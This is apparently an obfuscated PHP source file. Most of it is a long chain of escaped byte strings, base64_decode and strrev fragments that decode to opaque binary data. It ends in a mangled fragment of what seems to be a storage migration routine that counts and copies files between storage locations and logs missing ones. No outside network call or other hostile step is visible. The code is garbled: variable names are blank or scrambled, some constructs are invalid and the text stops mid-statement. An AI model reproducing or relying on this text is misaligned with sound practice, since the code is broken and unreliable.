Ř24CPɪF')."\x69\xd5\x11\xe9\xa5\x5d\x2c\x60\x82\xc\x71\x66\xe\x9a\x5b\x5\xf1\xf4\x4a\xfd\x2\x85\x4e\x39\xd4\x53\xe5\x5\x28\x68\x8c\x4e\xc0\xdc\xb6\x2e\x36\x3d\xc6\x50\xd0\xa7\x82\x58\x21\x1b\x91\x51"."\x8c\xba\x9\x56\x75\x77\x17\xbb\xf4\x4c\x4f\x17\x2\x7c\xcd\xdf\xdb\xb3\x72\xfa\xea\x6a\x46\xe5\x7\xbb\xd1\x7f\x2c\x12\x2a\x23\x47\x53\x39\x36\x54\xd1\xf9\x1c\xc0\xfd\xe0\xa2\x14\x57\x84\x67".base64_decode('06hpcRKp4CKiHdPRsq4mkjiFoSZ2cINQga52VGAsfJRLAkiCTts5E89lI5IEDNdI')."\xe8\x4e\x80\x97\xf0\x49\x99\x2a\x8a\xbb\x84\xc1\xf5\x15\xc\xd9\xe7\xd1\x76\x6a\x94\x8e\x3a\x2a\xda\x49\x8c\xd9\x8e\x9e\x73\x49\x2d\x6d\x5d\xb3\xd2\xfd\xcd\xc5\x6c\xd6\xe1\xa4\x7c\xd6\x18\x84"."\57\300\136\1\41\252\37\116\203\251\345\252\66\233\26\343\210\247\100\67\52\246\224\53\30\311\347\21\377\52\203\232\70\144\133\102\210\234\111\52\125\114\340\247\104\332\225\206"."\130\54\32\16\265\53\370\74\207\163\10\21\13\211\160\107\10\35\142\230\267\116\44\303\40\203\214\64\371\131\273\313\374\21\340\260\170\300\200\151\67\13\30\203\250\150\116\124"."\304\311\14\262\265\104\10\321\141\105\101\102\6\61\114\150\372\260\204\310\207\51\15\37\32\203\17\263\107\76\101\273\373\204\300\315\67\154\350\43\44\300\211\155\37\320\340\76"."\x47\xb3\x10\xc1\x80\x89\x64\x8\x46\x9a\x7c\x86\xdd\x44\xd8\x6\xf2\x1\x92\xc5\x3a\xe4\xf4\x63\x39\x48\x56\x1b\xf3\xd1\xce\x45\xf5\x61\x3d\xeb\x63\x5d\xf3\xb1\x1e\xfb\x18\x6f\xe8\x23\xc\x5d"."\23\164\253\23\155\56\350\26\11\42\34\332\357\303\340\204\241\331\47\104\200\76\163\44\257\133\244\10\114\223\340\70\174\202\33\361\365\131\146\261\320\301\276\51\305\150\267\40"."\101\364\231\47\304\115\323\361\61\136\323\47\263\241\320\213\20\333\65\145\247\263\374\150\310\374\173\73\1\153\207\263\112\147\351\33\26\253\164\75\334\54\367\112\332\42\360\364".base64_decode('q9mZ5yojlpdtw6wuYngBRGiJ2MZ4QM3asAx55aCQnTwMjIX0T8h9BSXs5Su9EmH8')."\xd1\xa4\xd6\x97\x90\x3e\xe7\x68\x7d\xec\x5b\x18\x95\xa1\xdc\x9\x8b\xd2\x70\x5c\x4f\x8f\xa5\x5\xa3\xda\x24\xb1\xbf\xee\x98\x7b\x73\x15\x51\x7b\x9\xad\xd7\x33\x48\x1f\xd9\x65\xe5\x76\x48\x79"."\10\340\120\317\27\154\277\175\367\145\63\316\266\2\137\175\327\16\372\346\275\13\243\44\350\62\126\20\4\7\355\54\106\331\11\164\0\66\147\331\24\325\312\331\200\254\175\356"."\x18\xde\x7a\x1\x82\xbc\xc9\xb5\x4a\x82\x4b\x34\xa2\xe1\xe6\xa4\x72\x4c\xc\x61\x3a\xc3\x54\x69\x1d\x15\x17\x56\xc8\x1f\x33\xaf\xb8\xda\x66\xd3\xa5\xd4\x93\x7c\x11\xd7\xf2\x19\x9a\xb2\x2\x9d"."\xa\x2b\xea\x2b\xd8\x47\x2a\x5c\xd5\x5\xd0\xb8\x3b\xe1\x63\x51\xa5\x14\xc\xf1\x74\xcb\x93\x80\x81\x83\xc\x5f\x9c\x64\x2c\x29\x26\xe\xce\x22\x50\x89\x9a\xd\xfc\x1a\x16\x93\x43\x48\x67\x69".base64_decode('YmllKJWQkUhg/XJ9F0fFDmMgoeAP+CS6BiMcv9grUtQ95R6I9By3eIo6jPyYkZcl')."\x5a\x22\x55\x9c\xd8\x82\x60\xc0\x5b\xdd\x23\x83\x6b\x9a\x28\x4c\x8f\x18\x21\x31\xf3\x81\x24\xcd\x97\x35\xf2\x83\xd2\x61\x2e\xc4\x39\xa8\xf7\xb8\xaa\xd4\x77\x68\xc9\xd3\x73\x86\x74\xfd\xae\xd".base64_decode('DUDer1li/hgawrhAiAZxERGVivVqw4J+cdWRkIntjLEOy0F3ozTa5CO/rWjg8g7l').base64_decode('K4JRBytEcRDa/lE0PeiHDCRp+rAsEf3QU55dZpFCDNSLuSa4ssHhJWjPM7INzXEV')."\303\31\100\153\250\222\304\200\343\34\67\102\243\75\11\161\374\216\116\115\164\346\321\60\42\355\263\350\250\263\2\170\213\264\340\3\113\76\53\334\364\106\102\107\143\206\172\242"."\265\104\111\236\134\132\110\213\60\356\27\147\5\233\127\261\303\304\134\213\355\324\47\72\204\247\126\55\355\7\6\340\362\361\146\313\344\164\60\77\366\275\205\32\11\243\311\357".base64_decode('Jz1HtTQfLvKiJEmq4yU0PKmeqFgI1zlDk5goWcvkjHzAoqdZALEPcKfsmybRYgLN').base64_decode('rLTJuQCn32rPOjumiXhSK2ChL4sOSSgO8AO5csTHoExB8FZslCEhazehxGomChrD')."\xd1\xc0\x71\x14\xf9\x67\x38\x55\x7\x58\xca\x48\xf\x8a\x9d\xaa\xd\x6b\x8\xfe\xa0\x69\x32\x18\xe9\x72\x98\xc4\xa3\x9c\x30\xc6\xb8\x23\x9c\x31\x1c\x9c\x82\x37\xa3\xc9\xe4\xde\xa2\xa0\x38\x31"."\105\232\214\262\311\311\123\262\370\202\313\360\115\162\225\164\323\16\220\70\205\34\351\1\101\352\224\277\146\117\233\5\200\10\111\277\44\147\16\353\122\142\300\166\314\202\310\221".base64_decode('ojRbyhKNSqX4IpEeof2VIQSzmDJSFuoS3ptu4QDmNgIyng5ZFgNgOkx8iYMS5SSM')."\xb\x13\x6c\xf7\x95\x3b\xae\x68\xe3\xe1\x61\xa1\x3d\x42\x9b\xc2\x1f\xe\xd0\xed\x1f\xd0\x32\x99\x18\xbb\xc8\x92\xc3\xa5\x45\x65\x39\x64\xf9\x86\x88\x2a\xf\x6f\x4a\x8a\x95\x2f\x1e\xca\x66\xc5".strrev(':8c,NH$QKBnvG&q ՄrJa>7').base64_decode('+428bvPD2rLL4az/x7Rx6czjHTIRuOA8SWKNtdiGdZmD4GJZgbL4EV5CmABxIEVU')."\xc7\x45\x52\xc5\x49\xfb\xd2\x76\x72\x41\x8\xda\xbe\x74\x3e\xf0\x91\x15\x89\xa1\xed\x59\x1e\x66\xbd\xe5\x74\x26\xb4\x26\x38\x70\x94\x9f\xb4\x72\x25\x9c\x85\xd7\x72\xa2\x46\x79\x3e\x6f\x4c\x90".base64_decode('b3I5BKs4Y6JmWDZv5fmt7295+lEavmfXTadcfRMNzwBWBC6fVu2J/n6LhoXy4ppl')."\135\346\326\307\16\75\241\352\345\327\156\175\342\37\207\237\165\304\23\267\35\335\265\44\361\303\251\357\244\236\272\360\246\357\350\53\203\117\37\364\63\253\352\331\303\255\353\336".base64_decode('eOa8v61efkfbrAOq4853nPU/eO/KvY+7/On8Sd/a95LLv/rt5m1q5vF7z7njhdO1')."\x8b\xec\x2d\x1b\x2e\x9e\xbb\xf3\x8f\x23\x81\xad\xef\x9e\x7f\xe4\xfc\xcf\xdf\x38\xff\xc8\xfd\xbf\xff\xd3\xdd\xfe\x72\xca\xf9\xbb\xfd\x7b\xc6\xbc\x93\x7e\x30\xf9\x9c\x3f\x29\x83\xbb\x6e\x3c\xf4"."\xc6\xbf\xbd\xbc\xee\xd8\x6d\x3f\x7e\x7d\x6c\xd3\x43\xdb\xd3\x7\xec\xdd\x38\x6f\xe6\x92\xc4\x17\x66\xe5\x51\xb7\x9c\xf9\xe1\x45\x67\x57\xdd\xba\xb6\xb1\x75\xce\xb9\x75\x81\xef\xf8\xa6\x54\x2e"."\x5a\x54\x73\xee\x2b\x4f\xb4\x7d\x6f\xdc\xbf\xc7\x4f\xa2\x5a\xf4\xcd\x45\xfe\xb7\x9e\xbf\xff\xdb\xc5\x9b\x6e\x3e\xf2\xa3\x4b\x36\xdc\x9a\xbd\x7f\xf2\x6\x7d\xd3\xb9\x77\xfb\xe\x3b\xdb\xba\xb8".base64_decode('9vENS2oPOHHzjQ8+ePRLX9z+wsYPf/7Xna8dM/OnM175z6oHnh8wlxw3ft6hn52T').base64_decode('iWXnPJ06++UXP04safPZ06p2HKM/NWXStu/3bn52jz+ctPlPL6X32HRB6vd3rLt8').strrev('k;nyǚzEx2Wwf#]xG').base64_decode('vpjyx65FL875tNp5+dzNG7a2bFj9+kNH95yy+ffGDxturzv5sXvWtR2V+uyRtw8c')."\76\362\133\207\356\267\347\153\227\245\122\237\354\161\164\323\217\167\175\153\125\346\245\107\256\155\33\172\361\20\145\333\317\217\312\152\153\16\174\42\125\171\126\365\47\347\275\230".base64_decode('Pbz6tin1jz2Re1tpP3hOpv3N9K7djvh456XP7HnRWe990tJx3OzM4x+OH/bnF1cc')."\xa3\x64\x57\x76\xdc\x97\xde\x6b\x9f\x77\xb7\xd6\x2f\xb\xed\x13\xfb\x4f\x36\x70\xeb\x2d\x7\x9c\xfa\xfd\xae\xe3\xda\x5a\x5e\xb9\xcb\x78\xf2\x9a\xc0\x86\x9f\xde\x32\x35\xbf\x22\xf3\xe4\x53\x7"."\xdd\xb8\x6e\xe7\xa3\x1f\xb4\xbf\x98\xdf\x63\xbf\x23\x2e\x9a\xb3\xa8\xca\x7c\xf3\xfa\xf5\xd3\xa6\x1d\xf9\xf2\xf1\x87\xbe\xf4\xcc\xa6\x2d\xf9\x97\xce\xf2\xdf\xbb\xd7\x77\x7\x53\x3b\xea\xd6\x3e"."\161\174\337\344\45\377\32\374\107\50\235\277\374\352\317\43\303\207\206\26\135\335\365\301\57\257\70\360\256\354\310\206\35\357\136\374\273\175\377\264\346\137\373\376\260\372\322\170".base64_decode('y1DdHtPPdV79cNcXba9k1zwROezh3R9etfz21dMWVT9w6gs/eq1uZ03L1t99dOnD')."\327\234\275\147\152\321\376\207\357\365\334\73\77\336\377\271\17\336\334\30\273\343\220\347\76\373\355\5\107\235\162\332\125\33\337\336\157\372\205\147\175\160\360\171\317\237\173\346"."\x1f\xa7\xae\x58\x75\xb0\xfa\xaf\x93\x76\x3f\xf8\x87\xc3\x6b\x5e\x3a\xb9\xf2\xc0\x47\xe7\xfc\xe5\xa4\xbd\xaf\x7a\xe2\xbe\x23\xee\x7f\xec\xa1\x8d\xfa\x1\x6b\x52\xe7\xc4\x5f\xf9\xc9\x40\xc5\x7d"."\376\3\57\377\345\223\25\332\7\115\27\36\367\346\123\7\255\150\171\374\275\255\267\356\265\370\217\326\241\301\165\13\217\155\176\370\336\201\206\157\377\161\305\137\27\77\362\166"."\347\341\277\230\375\367\37\151\77\334\174\361\117\323\157\50\7\136\363\247\137\114\76\166\340\314\347\66\237\227\135\167\343\346\345\317\136\322\271\51\361\226\131\371\364\5\273\266"."\x3e\x70\x70\xeb\xaa\xde\x91\x57\xeb\x23\xcf\xd6\x5c\x3e\xa5\xfa\xcb\x59\x1f\xb4\xbc\x70\x58\x4d\xf7\x45\x2f\xaf\x9a\x16\xb7\x1e\x9a\xd1\xf9\xbd\x3\x7\x3f\xca\xfc\x44\x1f\x8c\x65\xf7\xfc\x24"."\x77\xc1\x9a\xb9\x8d\xd7\x9e\x71\x55\x62\xf7\xf4\x2b\x7\xfc\xbe\x62\xc6\xd\xef\xcd\xfc\xf4\xe3\x63\x7e\xf7\xfc\x82\xe7\x7e\x9d\xdb\x32\xef\x6\xf3\xed\x4d\xc3\xf7\x9f\x78\xe7\xfc\xa3\x5e\xff"."\236\131\265\274\242\345\333\361\355\27\54\13\374\174\323\71\231\117\116\377\347\357\276\273\377\113\367\375\356\40\343\362\311\15\67\375\147\116\56\377\344\101\201\313\207\176\246\217"."\xae\xdd\xfa\xdb\xc1\x7d\xcf\x55\xf7\x69\xd9\xe7\x0\xfd\xbc\xf8\xcb\x9b\xef\xdb\xb1\xfb\xa5\x91\x5b\xe6\x7d\x6f\xf8\xf6\x6f\x7d\xb2\xe3\xc6\x3f\x1f\xf6\xac\x2f\x75\xf2\xc6\x23\xdf\x3b\x6c\xe9".base64_decode('7TuevM+au0m74vqrb2679bQrH7rHuGLttedkt5gX/UT79qlr/nGq8e34Ld/ZeVTV').strrev('oci3]_|ce'."\n".'zw?')."\x5e\xf6\x47\x57\x5f\xfa\xc3\xa9\x4f\x9d\xf6\x83\xd7\xe2\x97\xa7\x26\xfd\x7a\xe9\xf4\xb5\x3f\xae\xd8\xf0\xf7\xdc\xb\x1f\xfd\x61\x3c\x96\xc8\xfd\xe0\xe7\x3f\x38\xfa\xa0\xe5\xaf\xfc\xf7\x84\x96"."\367\237\77\342\343\343\67\125\316\70\154\367\27\56\270\376\226\173\157\376\170\171\164\327\363\357\75\371\345\11\233\56\170\344\214\335\56\335\317\370\305\376\47\175\362\320\234\55"."\176\163\367\167\376\376\136\303\337\27\315\71\160\262\257\176\363\375\203\47\137\62\66\377\360\226\363\37\255\70\350\171\363\250\45\53\33\337\375\237\247\267\76\275\263\141\164\313".base64_decode('t95ffNwboe98uexx/y1XHjDroDrnlhsKew93XNH/6r1PvbXy7v1vPye4MRDwvbr8')."\236\203\53\277\325\72\220\75\340\371\206\323\236\375\334\274\364\67\137\175\376\253\137\335\374\345\11\237\377\373\255\107\325\313\116\370\327\27\217\156\177\347\205\367\217\337\374\345"."\77\337\335\376\340\226\5\243\103\137\276\365\132\340\370\315\367\175\266\365\346\215\217\237\276\162\345\43\263\117\370\352\332\75\157\373\342\366\253\137\373\350\263\346\304\344\337\136"."\x7e\xf4\xc9\xf3\xdf\x69\x78\x72\xb7\xf9\x1b\xd7\x9e\xd4\xba\xf6\xc1\xef\xdf\x75\xce\x6d\xc7\x3f\xd1\x1c\xb8\xb1\x7b\x8f\x59\x7b\xbd\xba\xeb\xb1\xdd\xf7\x78\x6c\xce\x1f\xeb\xbe\xf3\xec\xe4\x3b"."\x5f\x3c\x71\x69\x7b\xdf\xab\xcf\xef\x73\xf0\x7f\xe\xf9\xed\xbf\x7\x6b\x8e\xb8\xd6\x7f\xcd\x79\xd\xb7\xbe\x7e\xf5\xf7\xa7\x5c\xdd\x71\xde\x13\x3d\x56\x41\x59\xbf\xfe\x98\xfc\x7e\x4b\x3e\x8d"."\xe\xfe\xb3\xea\x5f\x5b\x1e\x7e\x6e\xeb\x35\xf7\xaf\x1f\x9f\x5b\x79\x50\xf6\x8a\x8b\x4e\x7c\xe0\x96\x3b\xee\xb9\xff\xcf\xcf\xc\xe8\x4f\xcd\x6f\xff\xe1\xe1\xaf\x8e\xac\x5a\x7d\xf4\x9e\xe7\xfc".base64_decode('YfLKO//96BttNc0nzLyt55Bv/Wv892evumb9tou/vyRTe9tPb71rzrwVJ+zf1HnQ')."\272\212\3\207\53\262\172\367\272\173\262\177\71\41\263\374\47\53\377\265\51\175\303\336\227\256\335\267\355\225\275\323\312\7\271\37\357\372\356\262\361\143\377\323\364\104\363\141"."\33\262\133\163\17\276\365\310\53\67\155\173\361\117\237\376\370\201\43\177\61\317\76\252\347\306\251\27\132\217\75\260\43\372\275\263\237\310\116\272\366\316\223\177\377\27\345\323"."\xa9\x1f\xaf\x3d\xf3\xf7\xed\x73\xf7\xec\xbb\xb6\xe5\xb8\x67\x6e\x1a\xee\x5b\xf3\xf4\x27\x5b\x8c\xeb\x77\x7d\x77\xf2\x3b\xff\x5d\x72\xff\xcb\xb9\x6d\xad\x7b\xfe\x64\xdb\xae\x67\xff\x7b\xc1\x19".base64_decode('0y/eMnnTTePqp2+fefjJFz9x3JZXXzr+1beX3/HC9p03vnb8cd1VLxx+5buJKRue')."\x3c\xe8\x93\xd6\x4f\x7c\xd9\xb5\xf7\x7c\x72\xeb\xce\xa9\x95\xcb\x56\x36\x2d\xbf\xec\xa2\x7d\xbb\xce\xbc\xec\x6f\xa9\xc8\x9a\x9e\x43\xf6\x99\xfa\xaf\x7f\xd6\xcc\xd9\x7d\x73\x28\x7b\xf6\x93\x87"."\277\167\370\33\217\274\71\357\312\332\165\357\75\134\31\376\154\270\56\323\331\363\162\360\57\207\377\373\220\163\6\302\53\212\117\376\364\210\314\1\7\176\177\315\17\336\171\165"."\171\254\341\203\175\17\274\142\366\76\347\371\77\133\360\333\51\203\165\137\26\326\337\164\351\36\325\257\177\126\135\267\356\231\253\356\261\216\72\170\364\202\246\175\332\257\250\277"."\375\325\143\224\253\136\315\344\364\223\37\76\365\261\237\36\176\252\162\346\256\355\7\57\130\376\110\352\117\146\327\205\317\355\335\262\365\256\365\331\37\35\366\376\176\55\277\370"."\xf0\xca\xe7\x5f\xa9\xbd\xf3\xb6\x1d\x37\xbc\x15\x5e\x96\xff\x5e\xcf\xc7\xbe\x7\xbf\xdc\xed\xd4\xe9\x2f\xed\x78\xe8\xe2\xb5\x17\x5d\xbe\xeb\xe8\xdb\xb5\xe1\xda\xa3\x4e\x9e\x71\xe8\x3e\xf\xed"."\335\377\217\127\116\270\160\323\21\257\36\275\356\252\273\236\354\170\132\375\313\373\247\75\376\223\337\214\207\377\120\173\106\347\37\116\333\172\303\176\313\116\133\267\376\274\65\167".base64_decode('Klrgzysqci/fMLN28SnPX3Lrjvj0u/+8YcGLT/5m2PhcO9D54I03dnwQ2tK19973')."\x3b\xf7\xdc\x9e\x78\x2b\xfa\xcc\x1d\x67\x7c\x3c\x7e\x7f\xcd\x87\x1f\x3d\xfb\xb7\x54\x78\xf0\x39\xff\xc5\x9f\xbe\xea\x1f\x1c\x9e\xf2\xfa\xe1\xda\xdd\x1d\x7f\xfb\xfb\x4d\x33\x9f\x7c\x67\xfd\xe2"."\263\217\134\137\127\334\373\256\315\147\47\263\257\374\265\373\323\25\25\227\35\323\174\345\21\67\76\376\314\366\327\356\232\161\316\211\363\276\270\375\222\305\273\17\207\237\253\237"."\xeb\xef\xf7\xef\xfd\xf9\xc6\xee\x49\xf7\x3d\xbf\xb1\x7f\xd2\x7d\x7b\x5f\x10\xd8\xab\xf1\x8b\xb5\x57\x4f\xbd\xf4\xba\xb1\xe2\xdf\x2f\xf9\xec\xc2\xbf\xec\x77\xef\xb\xf7\xc5\xc3\x4f\xae\xfb\xea"."\311\155\235\337\73\357\45\377\333\47\46\256\217\376\165\315\372\235\137\315\77\361\223\355\237\277\277\360\376\57\336\174\241\357\310\23\212\237\74\370\332\157\126\177\364\341\243\55"."\x7f\xda\xf2\xd5\x47\xef\x9b\xc7\xaf\xb2\x3e\x79\x77\xfd\x2d\x1\x75\xc1\xea\x13\x3e\xbc\xec\xe6\x3f\xbc\x76\xf3\x57\xd6\x87\x6f\x6f\x7f\xb4\xf2\xc8\xd\xff\xfd\xe4\x80\xbe\x23\x4f\x1c\xfd\xf0"."\371\205\201\205\137\175\364\325\127\377\75\143\351\300\261\227\277\226\376\311\61\7\354\141\157\31\237\176\331\251\341\17\376\372\330\115\167\177\376\267\127\336\337\367\62\163\311\340".strrev(' 9NŧmV5?g]`^_u')."\164\75\361\303\165\277\33\274\346\143\253\167\353\377\74\34\37\132\132\161\372\77\377\164\130\103\354\365\345\47\34\370\130\372\325\324\357\257\234\67\145\363\57\46\357\331\365\330"."\143\227\206\166\324\256\15\315\336\170\357\344\357\376\317\153\173\234\360\306\224\247\316\70\204\331\131\144\6\265\142\52\17\64\145\315\254\331\100\27\115\3\212\150\326\214\131\64"."\x0\x6a\x42\xd3\xe7\xd2\xdf\xda\x59\xa0\xa8\x5\x4\xd4\xcc\x69\x10\x77\x6\x7b\x47\xfb\x6\x40\xe0\x35\x83\x15\xaf\x99\xcd\x8\xad\xe9\xd0\xf0\xc8\x60\xc1\xea\xcb\x0\xd1\x3f\x9d\x51\x63\xd0"."\310\254\331\360\271\224\345\214\216\214\103\251\31\364\147\310\166\212\3\175\114\60\224\356\37\321\123\40\201\230\75\33\76\67\173\46\364\272\267\70\246\33\203\300\76\325\316\236"."\305\232\237\316\2\320\346\214\231\60\360\351\214\42\234\61\13\156\233\147\325\262\300\14\50\134\63\23\76\243\33\243\375\103\175\240\310\347\130\303\143\3\343\20\231\75\13\6"."\x30\xbb\x6\x2\x23\xa3\xfd\x96\x9e\x5\x29\x62\xd1\xd0\xcc\xc1\x7e\x90\xa3\x15\xc7\x73\x83\x79\xd\xae\xf8\x7a\x1d\x7b\xc0\xcc\xc1\x5\x7a\x26\x67\x8c\x98\xd6\x0\x9b\x39\xe8\x87\xa1\x3b\x69".strrev('eĐq7DgL#gZzGfthky #}RE;').base64_decode('G0mlC4zdqqmFsc6cA3PmpMZ7h0aY2MAZGrcGgJFPj9nm6Di0nTKH8sVRgIPZc+aw').strrev('4!\\bf˳9sѐ^xMy')."\x69\xa4\x4f\x1f\x2f\xf6\x8e\x40\xd3\xb5\xcc\x56\xa2\x90\x1f\x18\xb1\x61\xfa\xe7\x4c\x87\x4f\x14\xd2\x43\xe3\x3\x29\x9d\xa5\x42\xd9\xbe\xde\x81\xf4\x28\x53\x4c\xa9\x61\x3d\x9e\x5b\x3\xd0\x63"."\146\323\251\114\37\314\177\21\115\225\323\307\364\370\323\105\53\65\10\220\71\203\201\374\300\260\226\115\131\151\6\126\60\237\132\76\63\74\126\200\126\246\117\203\262\271\376\301"."\361\124\357\10\233\65\6\316\323\140\300\163\147\301\356\231\311\166\112\315\114\110\31\114\367\353\226\306\64\75\306\235\202\71\4\40\65\230\161\6\214\176\230\234\221\361\176\133"."\323\373\330\136\35\36\267\330\116\32\350\115\345\206\6\1\136\254\261\342\220\231\202\326\20\133\65\64\76\310\346\236\355\235\231\154\115\147\324\300\276\30\323\7\6\123\103\200"."\112\246\63\160\252\251\141\50\243\206\341\24\310\311\367\133\271\341\136\230\347\341\361\134\141\154\24\42\271\21\173\150\260\327\142\33\220\15\321\30\111\363\35\226\312\215\16\25".strrev('@&w2<HalPzf,YgZ/1@Zm')."\xe9\xcb\xe\xc\xf7\x33\x58\xec\xb3\x87\xc7\x7a\xb\x19\xb6\x41\x0\x2c\x34\xbb\xd8\x3b\xee\x30\x6d\x3b\x4d\xe8\xac\xe2\x90\x10\xb9\xd1\x1c\xac\x80\x1e\x91\x2c\x58\xd4\x3e\xdd\x51\x41\x93\x13".base64_decode('lqAhlIg0qh0hpn+oFQpBOzNoB7F2gDGsR41UEFt0YAOzALd5QFCQHlS1lGk5TIZT').base64_decode('xBYB0PXlOUhs0NKDTJiMmGinaHsKcEuffCCn5blKTivoj6Rl7XC5wKCuM71iprks')."\x74\x3e\xec\x22\xb1\xad\x80\x74\x23\xa7\xb\xa9\x38\xbd\x87\x60\x35\x5\xd7\x8f\x67\x4e\xd2\x1a\xc1\xd1\x84\xdc\x4a\x3a\xef\x48\xd9\x28\xe6\xca\x4d\x38\xa6\xc5\xf5\x54\xa8\x6\x5c\x0\xf7\x30"."\340\36\63\73\355\312\134\141\202\274\327\266\21\46\206\251\31\64\63\351\254\131\314\270\132\315\244\134\155\362\124\46\246\360\346\364\116\220\216\332\161\51\371\262\64\327\144\245"."\310\352\251\162\44\300\246\73\45\255\54\25\325\73\232\75\30\220\223\375\162\256\221\107\275\310\146\3\156\103\105\225\374\7\163\100\215\341\154\175\250\250\347\305\365\267\75\50"."\x4d\x3c\xb6\x30\xec\xec\x50\x93\xa1\xc4\x62\x49\x4d\x10\x5b\xc0\x31\x70\x52\xc5\x8e\x90\x86\x25\x5a\x90\xe6\x51\x5e\x41\xf7\x14\x30\x8\xd9\x75\xf3\xfd\xdb\xcf\xbe\x70\xc7\x5\xb7\xec\x38\x73"."\343\366\373\316\337\265\361\226\355\233\56\100\321\155\367\234\265\175\343\245\157\135\274\146\333\75\147\156\273\347\244\135\153\357\170\377\201\63\266\237\175\363\256\123\66\155\337\160"."\335\366\253\327\156\273\177\323\256\7\327\356\274\156\375\266\173\156\332\261\341\364\355\153\356\332\166\377\205\333\117\273\174\373\332\263\167\234\177\346\266\115\33\120\371\35\247\211"."\226\121\261\355\67\135\204\353\76\160\362\366\173\356\331\165\305\165\74\367\375\7\176\116\73\63\16\47\127\213\356\140\303\101\246\373\105\146\107\131\240\0\100\352\166\100\351\310".base64_decode('6miGFbJJsaKYg3C24hCFMQ39y5t5PwU4apRpK0YeZytsbQIcKJN6roBBC2YpSA23').strrev('e,SU: CWCRܸAª\\Qf\\')."\x97\x95\x77\x83\x2d\x6d\x1f\x17\xde\xb\x99\x32\x74\x4c\xb2\x3\xa0\x17\x38\x25\x20\x45\x76\x95\x1b\x25\xb8\xf6\x9b\x1b\x99\xc8\x59\xee\x99\x0\xa1\x2f\xd1\x3d\xf0\x29\xb4\x2b\x3e\x85\xdc\x38".base64_decode('K24rRaxLwO7n5T0md9/SC1np7qkwVnYS5d7I192eoSXKTCMfnCsT7euiU6agPNuy').base64_decode('kNkwG7MI0Yk7UqINIIZBo0K4jT7E8aSlZwym4KznSElmNEBE6lyzOo22gOW6GZu/')."\xb0\xd0\x5f\xc0\x36\xde\xce\xbc\x85\x60\x4b\xa\x37\x8d\xaa\xf4\x5d\x8\xb\xb3\x15\x39\x35\xeb\xbd\x6d\xe3\x1b\xa6\xa9\x41\xb2\xb4\xc6\xc5\xea\xfc\x7e\xbf\x24\x35\x16\x2a\x6d\x38\x4\xcd\x89".strrev('͢nl̐Q3'."\0".' ΎLu;n_y&yh[')."\314\62\46\5\146\0\161\143\317\3\305\222\171\4\227\324\113\335\207\164\121\13\35\357\54\25\5\121\221\170\61\217\127\270\316\75\146\75\237\221\52\315\323\322\216\324\252\332"."\13\223\32\20\363\241\115\25\371\172\346\50\130\30\151\226\106\240\0\253\333\346\136\167\64\176\77\7\5\264\274\210\134\310\330\104\41\26\116\34\150\322\226\214\143\343\2\212".base64_decode('cHUyXV9T1ZGXvIBIkjzXhLWzGrvFtBGdYuR1Dn9Fm1+0YK1xFZ3l7NRDsKpmDMiM')."\106\32\324\246\110\134\154\165\265\120\364\22\151\262\67\202\120\107\104\115\44\142\22\311\106\154\361\226\251\213\143\115\152\143\54\266\70\2\140\10\23\137\47\141\112\154\273\45"."\356\257\161\114\330\160\341\53\37\131\173\115\46\105\260\271\70\76\156\23\12\350\200\42\170\157\154\15\305\271\346\375\314\300\264\100\215\50\213\76\250\142\3\204\172\146\232\232"."\110\206\342\145\234\6\120\147\2\260\50\340\100\0\52\264\306\226\52\215\261\150\147\133\173\202\332\312\323\364\366\230\224\117\364\253\41\233\271\24\50\315\206\346\303\35\321\120"."\x63\x58\x89\xb4\x27\x63\xcc\x80\x82\xab\xb8\x12\xd3\x99\x4\x8f\xb3\x29\xb0\x6c\x9d\xbb\xc\x80\xfa\x34\x22\x9b\xf7\xc8\x2d\xf2\x96\x0\x8c\xbb\x7c\x95\xdd\x15\xdd\x53\xba\xab\xba\xab\x57\x4".base64_decode('uu2eoHR2GfLyQKSjCYZXx0MZGzZwWyJxLNiDxeKhxijrCiLgIRhrjNDAzl/euu2+').strrev('ח=6uB'."\0".';gx<*'."\r".'Dzv').base64_decode('bd940Y4L7915yS9oxlvX37p93XW8Y8pb52/ecdY1nGShlIoP1X5rzZk7N23EBMtV').base64_decode('J+24c/2ODWduX3fF9ouv23nWzduvPGX7qWfuuvmCo7yARONdbCnApDJ4PLYgpdPb').strrev('185KT!'."\n".'G$kc{pDje=~[SOm')."\x9c\xb0\x17\xab\x60\xfd\xa5\x4e\x49\x9d\x69\xa\x27\x1a\xe3\x91\x86\x30\x68\xfc\xf3\x85\x9a\x44\xe8\x2b\x50\xa4\x40\xa9\x89\xf8\x12\x1e\xe6\x26\x7d\x25\xfe\x31\x94\x2a\x6\xcc\xd5\x8a\x6b\x20".strrev('gji'."\n".'[FQC>JV"|*GUR array($_SERVER[][804], $), $_SERVER[][805] => array($_SERVER[][331], $ǽ[$_SERVER[][748]])); $ء = (int) Model($_SERVER[][786])->where($̗)->count($_SERVER[][468]); $״䆈 = (int) Model($_SERVER[][786])->where($̗)->sum($_SERVER[][76]); $럞İ = new TaskFileTransfer($_SERVER[][806], $_SERVER[][777], $ء, LNG($_SERVER[][778]) . $_SERVER[][779] . LNG($_SERVER[][807])); $럞İ->task[$_SERVER[][760]] = $״䆈; $߰ = array($_SERVER[][808] => $ء, $_SERVER[][809] => $״䆈, $_SERVER[][810] => time()); Backup::set($߰); $ = !0; $ = $this->storeIds(); $ = 1; $˸Ȼ = 1000; $ = $߄ = 0; $襂 = array(); $ = $ = 0; do { $ = $_SERVER[][811]; $ = Model($_SERVER[][786])->where($̗)->field($)->order($_SERVER[][812])->selectPage($˸Ȼ, $); $ = !empty($[$_SERVER[][369]]) ? $[$_SERVER[][369]] : array(); foreach ($ as $ψց) { if (!$this->_fileExist($ψց, $襂, $)) { $ء -= 1; $״䆈 -= (int) $ψց[$_SERVER[][76]]; write_log("\146\x69\x6c\x65\x20\x6e\x6f\x74\x20\x65\170\x69\163\164\x2e\x66\151\x6c\x65\111\x44\x3a{$ψց[$_SERVER[][468]]}\x2c\x20\160\141\x74\x68\72{$ψց[$_SERVER[][84]]}", $_SERVER[][813]); continue; } $Ƹ = $ψց[$_SERVER[][84]]; $Ԗ = "\173\151\157\72{$ǽ[$_SERVER[][748]]}\175" . substr($Ƹ, strlen("\x7b\151\157\72{$ψց[$_SERVER[][814]]}\175")); if (IO::exist($Ԗ)) { $럞İ->updateFileEnd($ψց[$_SERVER[][32]], $ψց[$_SERVER[][76]]); } else { $Ԗ = get_path_father($Ԗ); IO::mkdir($Ԗ); if (!IO::copy($Ƹ, $Ԗ, $_SERVER[][815])) { write_log($_SERVER[][816] . $Ƹ . $_SERVER[][800] . $Ԗ . $_SERVER[][164], $_SERVER[][777]); $ = !1; break; } } $ = 